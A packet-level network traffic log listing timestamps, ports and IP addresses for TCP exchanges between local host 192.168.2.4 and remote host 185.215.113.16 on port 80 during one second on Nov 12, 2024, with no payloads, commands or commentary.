Nov 12, 2024 02:13:38.417401075 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417411089 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.417411089 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417431116 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417454004 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417723894 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.417737007 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.417747974 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.417766094 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417777061 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417793036 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417879105 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.417892933 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.417902946 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.417921066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.417922020 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417928934 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417937994 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.417948961 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417965889 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.417984009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.418288946 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.418303013 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.418313980 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.418324947 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.418337107 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.418337107 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.418356895 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.418370962 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.418591976 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.418612957 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.418625116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.418642044 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.418653011 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.418665886 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.459219933 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.459234953 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.459247112 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.459305048 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.459323883 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.459894896 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.459918022 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.459928036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.459939003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.459944010 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.459959984 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.459986925 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.460007906 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.460042953 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.460046053 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.460052967 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.460079908 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.460092068 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.460206985 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.460226059 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.460237980 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.460248947 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.460273027 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.460361958 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.460376978 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.460386992 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.460402966 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.460429907 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.464940071 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.464960098 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465001106 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465028048 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465090990 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465104103 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465121031 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465131998 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465154886 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465194941 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465208054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465238094 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465260983 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465434074 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465445042 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465456963 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465467930 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465476990 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465480089 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465492964 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465519905 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465706110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465718985 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465728998 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465749025 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465774059 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465812922 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465854883 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465854883 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465873957 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465898037 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465913057 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465915918 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.465924978 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.465954065 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.466198921 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.466240883 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.466243029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.466255903 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.466272116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.466281891 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.466291904 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.466300964 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.466311932 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.466332912 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.466573954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.466586113 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.466597080 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.466618061 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.466640949 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.533984900 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534013987 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534034967 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534048080 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534059048 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534065962 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534065962 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534136057 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534148932 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534161091 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534229040 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534229040 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534229040 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534446955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534461021 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534471989 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534491062 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534501076 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534506083 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534517050 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534544945 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534678936 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534712076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534722090 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534738064 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534749985 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534751892 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534764051 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.534776926 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534782887 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534802914 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.534996033 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535043001 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.535096884 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535110950 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535128117 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535140038 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535142899 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.535152912 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535166979 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.535190105 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.535501003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535515070 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535526991 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535542011 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535551071 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.535562992 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.535588026 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.535720110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535733938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535746098 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.535769939 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.535790920 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.575951099 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.575963020 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.576023102 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.576145887 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.576158047 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.576173067 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.576194048 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.576221943 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.576894045 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.576944113 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.576953888 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.576968908 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.576992989 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.577008009 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.577014923 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.577019930 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.577030897 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.577055931 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.577078104 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.577223063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.577255964 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.577266932 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.577270031 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.577291012 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.577308893 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.577464104 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.577476025 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.577486992 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.577517986 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.577532053 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582108974 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582123041 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582159042 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582169056 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582195997 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582309961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582323074 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582334995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582345963 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582350969 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582360029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582372904 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582372904 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582387924 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582397938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582401037 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582431078 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582449913 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582761049 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582801104 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582829952 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582845926 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582856894 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.582873106 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.582887888 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583060980 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583076000 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583090067 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583098888 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583123922 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583142042 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583146095 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583182096 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583187103 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583199978 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583220959 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583235025 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583281040 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583292961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583303928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583318949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583333969 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583333969 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583345890 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583362103 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583937883 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.583976030 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.583993912 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.584006071 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.584033012 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.584052086 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.584470034 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.584484100 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.584495068 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.584513903 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.584526062 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.584543943 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651062965 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651077032 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651099920 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651106119 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651112080 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651120901 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651128054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651140928 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651150942 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651164055 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651164055 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651175976 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651189089 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651191950 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651204109 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651213884 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651216030 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651226044 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651238918 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651257992 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651689053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651702881 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651725054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651731014 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651736021 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651747942 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.651757002 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651774883 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.651789904 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652070999 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652085066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652096987 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652108908 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652112961 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652121067 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652131081 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652132988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652152061 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652170897 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652498007 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652522087 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652534008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652538061 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652544022 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652549028 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652556896 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652569056 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652570009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652580976 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652587891 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652594090 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652606010 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.652607918 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652637005 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.652643919 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.693273067 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.693285942 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.693299055 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.693316936 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.693334103 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.693913937 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.693938017 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.693948984 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.693955898 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.693979979 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.693983078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.693998098 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694020987 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694042921 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694161892 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694197893 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694228888 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694246054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694262028 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694266081 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694274902 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694284916 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694303989 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694319010 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694425106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694468975 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694477081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694504976 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694514990 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694514990 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.694538116 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.694554090 CET	49763	80	192.168.2.4	185.215.113.16
